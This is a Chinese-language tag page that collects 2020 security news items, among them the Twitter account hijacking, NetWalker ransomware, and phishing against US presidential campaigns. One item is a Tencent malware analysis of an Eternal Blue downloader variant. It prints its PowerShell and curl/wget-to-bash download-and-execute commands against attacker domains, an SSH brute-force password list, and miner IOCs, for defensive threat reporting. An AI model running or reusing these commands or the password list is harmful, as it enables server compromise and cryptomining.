标签: 黑客

Coinbase 称阻止了 1100 余名顾客跟 Twitter 黑客的交易

据外媒报道,加密货币交易公司Coinbase表示,其近日阻止了1100多名客户向Twitter黑客发送比特币。上周,这些黑客劫持了一些知名账户以此来宣传一场比特币骗局。Coinbase首席信息安全官Philip Martin告诉《福布斯》,如果Coinbase不采取这一措施,那么这些客户将总共会向黑客发送30.4比特币(目前价值约合27.8万美元)。 值得注意的是,这个金额是黑客通过受害者收集到的实际金额(12.1万美元)的两倍多。 Martin表示,尽管Coinbase采取了行动,但它的14名客户仍成为了骗局的受害者,在将其地址列入黑名单之前他们向黑客发送了价值约3000美元的比特币。 报告显示,Gemini、Kraken和Binance的用户也尝试过向这些地址发送比特币,但数量没Coinbase的多。所有这些交易所都在骗局曝光后立即采取行动封锁了这些地址。 据悉,这场影响广泛的攻击于美国当地时间周三发生在Twitter上,受到影响的名人包括前美国总统巴拉克·奥巴马、微软联合创始人比尔·盖茨和特斯拉CEO埃隆·马斯克等等。 区块链分析公司称,一些被盗的比特币已经被转移到了一些交易所和像芥末钱包(Wasabi Wallet)等这样的混合比特币商家。 Elliptic联合创始人兼首席科学家Tom Robinson告诉The Block:“我们可以看到非常少量的数据流向已知的、受监管的加密交换系统。”不过出于保密原因,他拒绝透露交易所的名字。但Robinson进一步表示,2.89比特币(占总金额的22%)被送到了芥末钱包中。 另一家区块链分析公司Whitestream告诉The Block,其中一个黑客的地址已经跟至少三个加密货币平台进行过交易。Whitestream联合创始人兼首席执行官Itsik Levy告诉The Block:“我们可以看到,一个地址跟数个数字货币支付处理器(CoinPayments,Coinbase,BitPay)相关的地址进行了联系。” 事实上,BitPay的一位发言人向The Block证实,在2020年5月,它的一个商户从一个Twitter黑客的地址汇出了25美元,而作为BitPay标准流程和程序的一部分,他们正在将可获得的细节信息风险给包括执法部门在内的相关方。 CoinPayments拒绝就此事置评,Coinbase也没有回复置评请求。 另一方面,Blockchain Intelligence Group表示,一些被盗的比特币被送到了Binance。 事实上,Binance的一位发言人向The Block证实–“一小部分比特币(相当于大约10美元)被发送到了Binance核心钱包的地址。看来他们(黑客)的举动是为了迷惑区块链的研究人员。” 此外,根据The Block Research获取的信息,被Kraken和Binance收购的印度加密货币交易所WazirX也收到了部分被盗的比特币。     (稿源:cnBeta,封面源自网络。)

Twitter 否认用户密码在攻击中泄露 但仍在恢复相关帐号

新浪科技讯 北京时间7月17日早间消息,据外媒报道,Twitter表示,在周三针对该公司内部工具的大规模攻击中,“没有证据”表明用户的密码被盗,不过Twitter仍在努力恢复对被锁定帐号的访问。Twitter在周四下午发布的一系列消息中分享了相关进展。 在此次攻击中,攻击者劫持了Twitter上的多个大号,包括美国前总统奥巴马、前副总统拜登、埃隆·马斯克、比尔·盖茨和坎耶·韦斯特,并发布比特币骗局。Twitter周三决定锁定多个账号,以防止进一步损失。在周四发布的Twitter消息中,关于为什么要锁定这些帐号,Twitter公布了更多细节。 Twitter表示:“出于高度谨慎,同时作为我们昨天保护用户安全的响应措施的一部分,我们锁定了所有在过去30天内尝试改密码的帐号。”不过,即使帐号被锁定,也“并不一定意味着”帐号的密码泄露。Twitter认为,实际上只有“一小部分”被锁定的帐号受到影响。 Twitter表示,正“尽快”恢复相关帐号的访问权限,但可能还需要更多时间。 尽管Twitter认为密码没有泄露,但目前尚不清楚,攻击者是否能获取相关帐号的私信消息。除锁定一些帐号以外,Twitter还在黑客攻击的几小时内,彻底禁用了所有加v帐号发布消息的功能。不过,在设置限制的情况下,加v帐号仍可以转发现有消息。 Twitter周三发布消息称,该公司的内部工具在此次攻击中被攻破。在周三晚的一条消息中,Twitter表示:“我们相信,我们探测到协同社交工程攻击。攻击成功将我们的一些员工作为目标,这些员工拥有内部系统和工具的权限。”匿名的消息人士表示,Twitter员工帮助他们获得了帐号,其中一人称,他们向Twitter员工付钱以获得帮助。(维金)     (稿源:新浪科技,封面源自网络。)

警方正在购买黑客窃取数据的访问权 以从中搜集调查线索

Motherboard网站报道,一些公司正在向政府机构出售从网站上窃取数据的访问权限,希望它能产生调查线索,数据包括密码、电子邮件地址、IP地址等。一家名为SpyCloud的公司向潜在客户展示的幻灯片显示,该公司声称授权世界各地执法机构和企业调查人员更快速有效地将恶意行为者绳之以法。 该幻灯片是由一位担心执法机构购买黑客数据访问权的消息人士分享的。SpyCloud向Motherboard证实了这些幻灯片的真实性。SpyCloud的联合创始人兼首席产品官Dave Endler在电话中告诉Motherboard :”我们正在将犯罪分子数据与他们对立起来,我们正在赋予执法部门这样做的权力。” 曝光的幻灯片突出了被泄露数据的一种新用途,并表明通常与商业部门相关的数据也可以被执法部门重新利用。但这也引发了执法机构是否应该利用原本被黑客窃取信息的问题。通过购买SpyCloud的产品,执法部门也将获得与任何犯罪无关人的黑客数据,绝大多数受数据泄露影响的人都不是罪犯。令人不安的是,执法部门可以简单地买到大量的账户信息,甚至是密码,而无需获得任何法律程序。       (稿源:cnBeta,封面源自网络。)

黑客利用图形验证来忽悠真人下载恶意文件并逃避自动化检测

微软安全情报团队于近日曝光了黑客组织 CHIMBORAZO 的新动向,作为 Dudear 和信息窃取木马 GraceWire 的幕后黑手,其再次将目光瞄向了被各大网站用于真人检测的 CAPTCHA 图形验证码。与模糊、扭曲的数字或字母相比,上线十余年的图形验证码能够将许多别有用心者阻挡在外,然而 Chimborazo 却想到了一个更骚的操作。 微软安全情报团队指出,他们从今年 1 月开始的追踪分析发现,该组织有在要求用户完成 CAPTCHA 验证的站点上分发恶意的 Excel 文档。 这个电子表格文件中包含了宏操作,启用后便会在受害者机器上安装可窃取密码等敏感信息的 GraceWire 木马。 此前微软有在网络钓鱼邮件活动中发现 Chimborazo 采取的类似操作(在附件中分发恶意 Excel 文件),然后通过嵌入式的 Web 链接进行传播。 最近几周,该组织开始改变策略,将链接重定向到被破坏的合法站点、或在邮件中包含具有恶意 iframe 标签的 HTML 附件。 无论哪种方式,点击链接或附件都可能导致受害者下载恶意站点上的木马文件,但前提是忽悠人们完成 CAPTCHA 图形验证(通常是为了阻挡机器人)。 这个鬼点子意味着只有真人才会上当,安全研究机构使用的基于自动化分析的传统方案将更加难以检测到它们的不法行为。 微软安全情报小组曾在今年 1 月发现,Chimborazo 在利用 IP 追溯服务来跟踪下载恶意 Excel 文件的计算机的 IP 地址,以进一步逃避自动检测,那时也是微软第一次见到该组织利用此类站点重定向。 Malwarebytes 威胁情报主管 Jérôme Segura 补充道:在恶意软件攻击中使用图形验证码的方式极为罕见,但此前也并非没有先例。 可即便是简化或翻版的 CAPTCHA 方案,也都能达到忽悠真人来下载文件、同时阻止自动化分析的目的。     (稿源:cnBeta,封面源自网络。)

瑞幸自曝造假又添新猜想:董事会成员邮件被黑客攻破?

6月16日午间消息,今日有媒体报道,在遭遇做空前,瑞幸咖啡一位董事会成员及其同事邮件曾收到黑客钓鱼链接,其同事不慎点击邮件系统被攻破。今年2月,做空机构浑水发布匿名报告指控瑞幸咖啡财务造假。但瑞幸官方随后否认了这一指控,认为匿名报告有意误导和虚假指控。 意思的是,2个月后,瑞幸官方发布SEC文件,自曝公司COO涉嫌财务造假22亿元。前后态度的反差让人意外。 而作为瑞幸咖啡的审计机构,安永当时回应称,在对瑞幸咖啡2019年年度财务报告进行审计工作的过程中,安永发现瑞幸咖啡部分管理人员在2019年第二季度至第四季度通过虚假交易虚增了公司相关期间的收入、成本及费用。安永就此发现向瑞幸咖啡审计委员会作出了汇报。瑞幸咖啡董事会因此决定成立特别委员会负责相关内部调查。 而今日有媒体的相关报道再次为瑞幸自报造假的原因增加新的猜想。 该报道称,一位接近瑞幸咖啡董事会人士表示,在整个瑞幸造假事件中,有公司内部高管向外部做空机构等透露公司财务机密的可能,董事会成员也担心证据已经被外部掌握。在做空前,一位董事会成员及其同事邮件曾收到黑客钓鱼链接,其同事不慎点击邮件系统被攻破,但该董事会成员识别躲过。 另外据第一财经报道,财政部对于瑞幸咖啡财务造假案的现场检查部分已经结束,目前有关报告正在等待更高层级的批复。随着监管层调查的深入,瑞幸咖啡造假事件的前因后果有望进一步明朗。     (稿源:新浪科技,封面源自网络。)

NetWalker 勒索软件相关分析

Netwalker (又名 Mailto)勒索软件近期十分活跃。 由于新型冠肺炎的爆发,一些活跃的勒索软黑客们开始不再攻击医疗目标,但NetWalker 勒索软件却是例外。 这款勒索软件的赎金要求很高,很多受害者们因无法支付相关赎金导致数据被泄露。 最近美国的教育机构也成为了勒索软件的重点攻击目标,密歇根州立大学、加州大学旧金山分校和哥伦比亚大学芝加哥分校都没有幸免。近期的RaaS(勒索软件即服务)模式转变加剧了勒索的范围,导致网络检测和清理不再足以确保组织数据机密的安全,预防成为了面对威胁的唯一解决办法。   … 更多内容请至Seebug Paper阅读全文:https://paper.seebug.org/1243/     消息来源:sentinelone,译者:dengdeng。 本文由 HackerNews.cc 翻译整理,封面来源于网络。 转载请注明“转自 HackerNews.cc ” 并附上原文链接

“黑球”行动再升级,SMBGhost 漏洞攻击进入实战

感谢腾讯御见威胁情报中心来稿! 原文链接:https://mp.weixin.qq.com/s/ZoiKCTEaxhXIXsI4OzhWvA   一、概述 2020年6月10日,腾讯安全威胁情报中心检测到永恒之蓝下载器木马出现变种。此次变种在上个版本“黑球”行动中检测SMBGhost漏洞的基础上首次启用SMBGhost漏洞攻击,之前的若干种病毒只是利用SMBGhost漏洞做扫描检测,并无实质性攻击利用。本次更新还启用了SSH爆破以及新增Redis爆破能力攻击Linux系统。 由于SMBGhost漏洞CVE-2020-0796利用Windows SMB漏洞远程攻击获取系统最高权限,可直接攻击SMB服务造成RCE(远程代码执行),存在漏洞的计算机只要联网就可能被黑客探测攻击,并获得系统最高权限。该攻击行动使得“永恒之蓝”系列木马针对Windows系统的攻击能力再次增强。 腾讯安全威胁情报中心曾多次发布SMBGhost漏洞风险提示,至今仍有近三分之一的系统未修补该漏洞,我们再次强烈建议所有用户尽快修补SMBGhost漏洞(CVE-2020-0796)。 此外永恒之蓝下载器木马还新增了针对Linux系统的远程攻击,在失陷系统创建定时任务并植入挖矿木马功能,使得其攻击的范围继续扩大,包括云上Linux主机等都可能成为攻击目标。永恒之蓝本次更新的主要目的是释放挖矿木马,并会按照惯例在开始挖矿前,清除其他挖矿木马,以便独占系统资源。挖矿活动会大量消耗企业服务器资源,使正常业务受严重影响。 二、样本分析 攻击模块if.bin在smbghost_exec函数中利用从hxxp://d.ackng.com/smgh.bin下载的SMBGhost漏洞攻击程序发起攻击,攻击成功后远程执行以下shellcode: powershell IEx(New-Object Net.WebClient).DownLoadString(''http[:]///t.amynx.com/smgho.jsp?0.8*%computername%'') 针对Linux系统服务器的攻击 1、利用SSH爆破 扫描22端口进行探测,针对Linux系统root用户,尝试利用弱密码进行爆破连接,爆破使用密码字典: “saadmin”,”123456″,”test1″,”zinch”,”g_czechout”,”asdf”,”Aa123456.”,”dubsmash”,”password”,”PASSWORD”,”123.com”,”admin@123″,”Aa123456″,”qwer12345″,”Huawei@123″,”123@abc”,”golden”,”123!@#qwe”,”1qaz@WSX”,”Ab123″,”1qaz!QAZ”,”Admin123″,”Administrator”,”Abc123″,”Admin@123″,”999999″,”Passw0rd”,”123qwe!@#”,”football”,”welcome”,”1″,”12″,”21″,”123″,”321″,”1234″,”12345″,”123123″,”123321″,”111111″,”654321″,”666666″,”121212″,”000000″,”222222″,”888888″,”1111″,”555555″,”1234567″,”12345678″,”123456789″,”987654321″,”admin”,”abc123″,”abcd1234″,”abcd@1234″,”abc@123″,”p@ssword”,”P@ssword”,”p@ssw0rd”,”P@ssw0rd”,”P@SSWORD”,”P@SSW0RD”,”P@w0rd”,”P@word”,”iloveyou”,”monkey”,”login”,”passw0rd”,”master”,”hello”,”qazwsx”,”password1″,”Password1″,”qwerty”,”baseball”,”qwertyuiop”,”superman”,”1qaz2wsx”,”fuckyou”,”123qwe”,”zxcvbn”,”pass”,”aaaaaa”,”love”,”administrator”,”qwe1234A”,”qwe1234a”,” “,”123123123″,”1234567890″,”88888888″,”111111111″,”112233″,”a123456″,”123456a”,”5201314″,”1q2w3e4r”,”qwe123″,”a123456789″,”123456789a”,”dragon”,”sunshine”,”princess”,”!@#$%^&*”,”charlie”,”aa123456″,”homelesspa”,”1q2w3e4r5t”,”sa”,”sasa”,”sa123″,”sql2005″,”sa2008″,”abc”,”abcdefg”,”sapassword”,”Aa12345678″,”ABCabc123″,”sqlpassword”,”sql2008″,”11223344″,”admin888″,”qwe1234″,”A123456″,”OPERADOR”,”Password123″,”test123″,”NULL”,”user”,”test”,”Password01″,”stagiaire”,”demo”,”scan”,”P@ssw0rd123″,”xerox”,”compta” 爆破登陆成功后执行远程命令: `Src=ssho;(curl -fsSL http[:]//t.amynx.com/ln/core.png?0.8*ssho*`whoami`*`hostname`||wget -q -O- http[:]//t.amynx.com/ln/core.png?0.8*ssho*`whoami`*`hostname`) | bash` 2、利用Redis未授权访问漏洞 扫描6379端口进行探测,在函数redisexec中尝试连接未设置密码的redis服务器,访问成功后执行远程命令: `export src=rdso;curl -fsSL t.amynx.com/ln/core.png?rdso|bash` SSH爆破和Redis爆破登陆成功均会执行Linux Shell脚本core.png,该脚本主要有以下功能: a.创建crontab定时任务下载和执行脚本http[:]//t.amynx.com/ln/a.asp b.创建crontab定时启动Linux平台挖矿木马/.Xll/xr 通过定时任务执行的a.asp首先会清除竞品挖矿木马: 然后通过获取/root/.sshown_hosts中记录的本机SSH登陆过的IP,重新与该机器建立连接进行内网扩散攻击: 创建目录/.Xll并下载挖矿木马(d[.]ackng.com/ln/xr.zip)到该目录下,解压得到xr并连接矿池lplp.ackng.com:444启动挖矿。 永恒之蓝下载器木马自2018年底诞生以来一直处于高度活跃状态,目前该木马会通过以下方法进行扩散传播: 截止2020年6月12日,永恒之蓝木马下载器家族主要版本更新列表如下: IOCs Domain t.amynx.com t.zer9g.com t.zz3r0.com d.ackng.com URL http[:]//t.amynx.com/smgh.jsp http[:]//t.amynx.com/a.jsp http[:]//t.amynx.com/ln/a.asp http[:]//t.amynx.com/ln/core.png http[:]//d.ackng.com/if.bin http[:]//d.ackng.com/smgh.bin http[:]//d.ackng.com/ln/xr.zip

为协助 FBI 追捕罪犯 Facebook 对嫌疑人展开黑客攻击

据Motherboard周三的一份报告称,为了揭露一名在Facebook上反复骚扰和剥削女孩的加州男子,该社交网络决定帮助FBI对其进行黑客攻击。据报道,Facebook多年来一直在跟踪Buster Hernandez。据Motherboard报道称,通过安全操作系统Tails,Hernandez得以隐藏他的真实IP地址并继续在Facebook上联系和骚扰数十名受害者。 为此,Facebook的安全团队最终决定跟第三方公司合作开发一套黑客工具以此来利用Tails视频播放器的漏洞。据报道,Facebook为此支付了六位数的费用,该漏洞可以显示观看视频的人的真实IP地址。据了解,该工具被交给了一位中间人,后者则将其移交给了FBI。该报道还称,目前还不清楚FBI是否知道Facebook参与其中。 据Motherboard称,FBI跟一名受害者合作利用该工具向Hernandez发送了一段设置陷阱的视频从而收集了能对其进行逮捕并定罪的证据。今年2月,Hernandez承认了41项指控,其中包括制作儿童色情作品、威胁杀人、绑架和伤害。 Facebook证实了他们有跟安全专家合作来为FBI提供帮助。 Motherboard指出,其通过跟几名Facebook现任和前任员工经过交谈了解到,这是该公司首次也是唯一一次以这种特定方式帮助执法部门追缉罪犯。     (稿源:cnBeta,封面源自网络。)

谷歌称境外黑客对特朗普和拜登等竞选者的电子邮件展开了攻击

路透社报道称,境外黑客正在对美总统候选人的电子邮件展开攻击,现任总统唐纳德·特朗普和民主党主要候选人乔·拜登的个人电子邮件账户都受到了威胁。分析称某些具有资深背景的黑客试图将拜登竞选团队的工作人员作为攻击目标,另有所谓的伊朗黑客将目光瞄向了特朗普竞选团队工作人员的电子邮件账户。 谷歌威胁分析团队负责人 Shane Huntley 在一条推文中称,黑客已对美总统竞选人开展了网络钓鱼尝试,且丝毫没有就此收手的迹象。 谷歌发言人亦在接受 TheVerge 采访时称,该公司尚未见到有证据表明任何攻击攻击已经得逞,因此未将相关信息转交给联邦执法人员。 即便如此,谷歌仍鼓励竞选团队成员为其工作和个人电子邮件账户加以额外的防护,比如两步验证和谷歌提供的高级安全防护等资源。 拜登竞选团队的新闻事务部长 Matt Hill 表示,他们已经意识到了网络钓鱼的企图,竞选团队将保持警惕,并且为应对此事做好了网络安全相关的准备。 特朗普竞选团队发言人亦表示,其已被告知境外黑客未能攻破其部署的安全防线,同样对网络安全保持警惕,但未进一步谈论任何预防措施。     (稿源:cnBeta,封面源自网络。)  

澳大利亚黑客在 Twitter 上发布苹果员工机密信息后被判缓刑

一名澳大利亚男子因从苹果公司的服务器中提取员工资料并在Twitter上发布,被判处5000澳元的罚款和18个月的观察期。据Bega地区新闻报道,24岁的Abe Crannaford周三在伊甸园当地法院出庭接受宣判,此前他在2月份对两项未经授权访问或修改受限数据的罪名表示认罪。 在2017年中和2018年初,Crannaford从这家总部位于美国的大型企业中提取了仅针对员工的受限信息。2018年1月,Crannaford在其Twitter账号上发布员工信息,并据称在GitHub上提供了该公司固件的链接,让这起黑客事件达到了高潮。 裁判官道格-迪克对他处以5000美元的罚款,然而他并没有对Crannaford进行判刑,而是给予他18个月的观察期,如果在观察期内违反了相关规定,将导致额外的5000美元罚款。 Crannaford的辩护律师Ines Chiumento辩称,苹果公司通过其赏金计划奖励寻找漏洞和bug的黑客,在某种意义上 促进了黑客的发展。检察官承认苹果公司存在悬赏计划,但称Crannaford多次入侵网站,并与他人共享受限数据,苹果公司的悬赏的概念与Crannaford的行为背道而驰。     (稿源:cnBeta,封面源自网络。)